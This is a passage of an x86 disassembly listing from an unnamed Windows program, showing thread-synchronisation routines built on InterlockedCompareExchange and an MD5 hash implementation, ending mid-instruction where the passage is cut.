--------------------------------------------------------------------------- loc_4332AF: ; CODE XREF: sub_4331D0+D2j push esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4331D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433310: ; CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4333B5 mov esi, [edi] test esi, esi jz loc_4333B5 cmp esi, 0FFFFFFFFh jz short loc_433378 cmp dword ptr [esi], 3 jnz short loc_43335D lea eax, [esi+4] push eax call sub_40222F mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4333AF loc_433347: ; CODE XREF: ___:0043336Bj push esi mov dword ptr [edi], 0 call near ptr 77C2C21Bh nop add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43335D: ; CODE XREF: ___:00433333j push 1 push 0 push esi call dword_50E3EC ; InterlockedCompareExchange cmp eax, 1 jz short loc_433347 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433378: ; CODE XREF: ___:0043332Ej push offset dword_50E960 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43339F push offset dword_50E960 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43339F: ; CODE XREF: ___:00433386j push offset dword_50E960 mov ebx, 10h nop call near ptr 7C9010EDh loc_4333AF: ; CODE XREF: ___:00433345j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4333B5: ; CODE XREF: ___:0043331Bj ; ___:00433325j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333F0: ; CODE XREF: ___:004021C1j push esi mov esi, [esp+8] test esi, esi jz short loc_433451 mov eax, [esi] test eax, eax jz short loc_433451 cmp eax, 0FFFFFFFFh jnz short loc_433411 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433456 loc_433411: ; CODE XREF: ___:00433402j mov esi, [esi] push 1 push 2 push esi call dword_50E3EC ; InterlockedCompareExchange cmp eax, 2 jnz short loc_433433 loc_433423: ; CODE XREF: ___:00433431j push 1 push 2 push esi call dword_50E3EC ; InterlockedCompareExchange cmp eax, 2 jz short loc_433423 loc_433433: ; CODE XREF: ___:00433421j mov eax, [esi] cmp eax, 2 jnz short loc_43343E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_43343E: ; CODE XREF: ___:00433438j cmp eax, 3 jnz short loc_433451 add esi, 4 push esi call sub_402225 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433451: ; CODE XREF: ___:004333F7j ; ___:004333FDj ... mov eax, 16h loc_433456: ; CODE XREF: ___:0043340Fj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433480: ; CODE XREF: ___:00401AA5j mov eax, [esp+4] push esi test eax, eax jz short loc_4334C1 mov esi, [eax] test esi, esi jz short loc_4334C1 cmp esi, 0FFFFFFFFh jnz short loc_43349B loc_433494: ; CODE XREF: ___:004334A7j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43349B: ; CODE XREF: ___:00433492j push 2 push 1 push esi call dword_50E3EC ; InterlockedCompareExchange dec eax jz short loc_433494 dec eax jz short loc_4334BD dec eax jnz short loc_4334C1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4334BD: ; CODE XREF: ___:004334AAj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4334C1: ; CODE XREF: ___:00433487j ; ___:0043348Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:00401933j push esi mov esi, [esp+8] test esi, esi jz short loc_433540 mov eax, [esi] test eax, eax jz short loc_433540 cmp eax, 0FFFFFFFFh jnz short loc_433511 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433545 loc_433511: ; CODE XREF: ___:00433502j mov esi, [esi] push 1 push 2 push esi call dword_50E3EC ; InterlockedCompareExchange dec eax jz short loc_43353C dec eax jz short loc_433535 dec eax jnz short loc_433540 add esi, 4 push esi call sub_40177B add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433535: ; CODE XREF: ___:00433522j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43353C: ; CODE XREF: ___:0043351Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433540: ; CODE XREF: ___:004334F7j ; ___:004334FDj ... mov eax, 16h loc_433545: ; CODE XREF: ___:0043350Fj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433570: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43359C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_433597 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433597: ; CODE XREF: ___:0043358Ej xor eax, eax mov [esi+20h], ecx loc_43359C: ; CODE XREF: ___:00433582j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4335B0 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43363C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4335D4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4335D4: ; CODE XREF: sub_4335B0+1Bj push edi push esi push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_4335ED mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335ED: ; CODE XREF: sub_4335B0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4335FD mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335FD: ; CODE XREF: sub_4335B0+41j mov eax, [esi+4] push eax call sub_401640 ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 0D5ECE890h, 0C085022Eh, 0E8560E74h, 0FFFCE181h, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43363C: ; CODE XREF: sub_4335B0+12j pop esi retn sub_4335B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433670 proc near ; CODE XREF: sub_4015FFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433695 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_433695: ; CODE XREF: sub_433670+15j nop call near ptr 272087Fh cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4336BE push esi mov edi, 0Bh call near ptr 77C2C21Bh nop mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336BE: ; CODE XREF: sub_433670+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4336DB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336DB: ; CODE XREF: sub_433670+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_433670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433710 proc near ; CODE XREF: sub_401AA0j arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_4337A0 cmp [ebx+0Ch], ebp jz short loc_43377C cmp [ebx+4], ebp jz short loc_43377C lea eax, [ebx+8] push eax call sub_402225 add esp, 4 test eax, eax jnz short loc_43377C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_43376F push edi loc_433743: ; CODE XREF: sub_433710+5Cj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43376A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_43376A: ; CODE XREF: sub_433710+3Ej cmp esi, ebp jnz short loc_433743 pop edi loc_43376F: ; CODE XREF: sub_433710+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_43377C: ; CODE XREF: sub_433710+13j ; sub_433710+18j ... mov eax, [ebx] push eax nop call near ptr 272011Dh cmp [ebx+4], ebp jz short loc_433796 lea ecx, [ebx+8] push ecx call sub_40222F add esp, 4 loc_433796: ; CODE XREF: sub_433710+78j push ebx nop call near ptr 77C2C21Bh add esp, 4 loc_4337A0: ; CODE XREF: sub_433710+Aj pop ebp xor eax, eax pop ebx retn sub_433710 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4337E0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_50E3D8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_433804 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_433813 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_433804: ; CODE XREF: sub_4337E0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_433813 mov eax, ebx loc_433813: ; CODE XREF: sub_4337E0+1Aj ; sub_4337E0+2Fj push edi xor edi, edi test esi, esi jz short loc_433875 test eax, eax jz short loc_433862 mov ecx, [esi+4] test ecx, ecx jz short loc_433862 test ebx, ebx jz short loc_433862 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_43384D loc_433837: ; CODE XREF: sub_4337E0+65j cmp [ecx+8], esi jz short loc_433849 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_433837 jmp short loc_43384D ; --------------------------------------------------------------------------- loc_433849: ; CODE XREF: sub_4337E0+5Aj test ecx, ecx jnz short loc_433862 loc_43384D: ; CODE XREF: sub_4337E0+55j ; sub_4337E0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DC5 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_433875 loc_433862: ; CODE XREF: sub_4337E0+3Cj ; sub_4337E0+43j ... mov ecx, [esi] push ebx push ecx nop call near ptr 27404B4h test eax, eax jnz short loc_433875 mov edi, 0Bh loc_433875: ; CODE XREF: sub_4337E0+38j ; sub_4337E0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_4337E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4338B0 proc near ; CODE XREF: sub_401190j push ebx push esi push edi nop call near ptr 27A08E3h mov esi, eax call sub_436F5A sub_4338B0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 0D46DE851h, 5690022Dh, 29E8D88Bh dd 90022EC7h, 36C4E857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_433900 proc near ; CODE XREF: sub_401A55j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_433900 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433940 proc near ; CODE XREF: sub_401C12j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_43396B inc dword ptr [esi+14h] loc_43396B: ; CODE XREF: sub_433940+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_4339C9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_434740 lea ecx, [esi+18h] push ecx push esi call sub_433AB0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_4339C5 loc_4339A9: ; CODE XREF: sub_433940+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_433AB0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_4339A9 loc_4339C5: ; CODE XREF: sub_433940+67j xor eax, eax jmp short loc_4339CB ; --------------------------------------------------------------------------- loc_4339C9: ; CODE XREF: sub_433940+41j xor ebp, ebp loc_4339CB: ; CODE XREF: sub_433940+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_434740 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_433940 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433A20 proc near ; CODE XREF: sub_402158j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_434660 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_433A53 mov ecx, 78h loc_433A53: ; CODE XREF: sub_433A20+2Cj sub ecx, eax push ecx push offset aA ; "€" push edi call sub_401C12 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C12 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_434660 push 58h push 0 push edi call sub_434770 add esp, 30h pop edi pop esi add esp, 8 retn sub_433A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433AB0 proc near ; CODE XREF: sub_433940+58p ; sub_433940+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4346D0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov 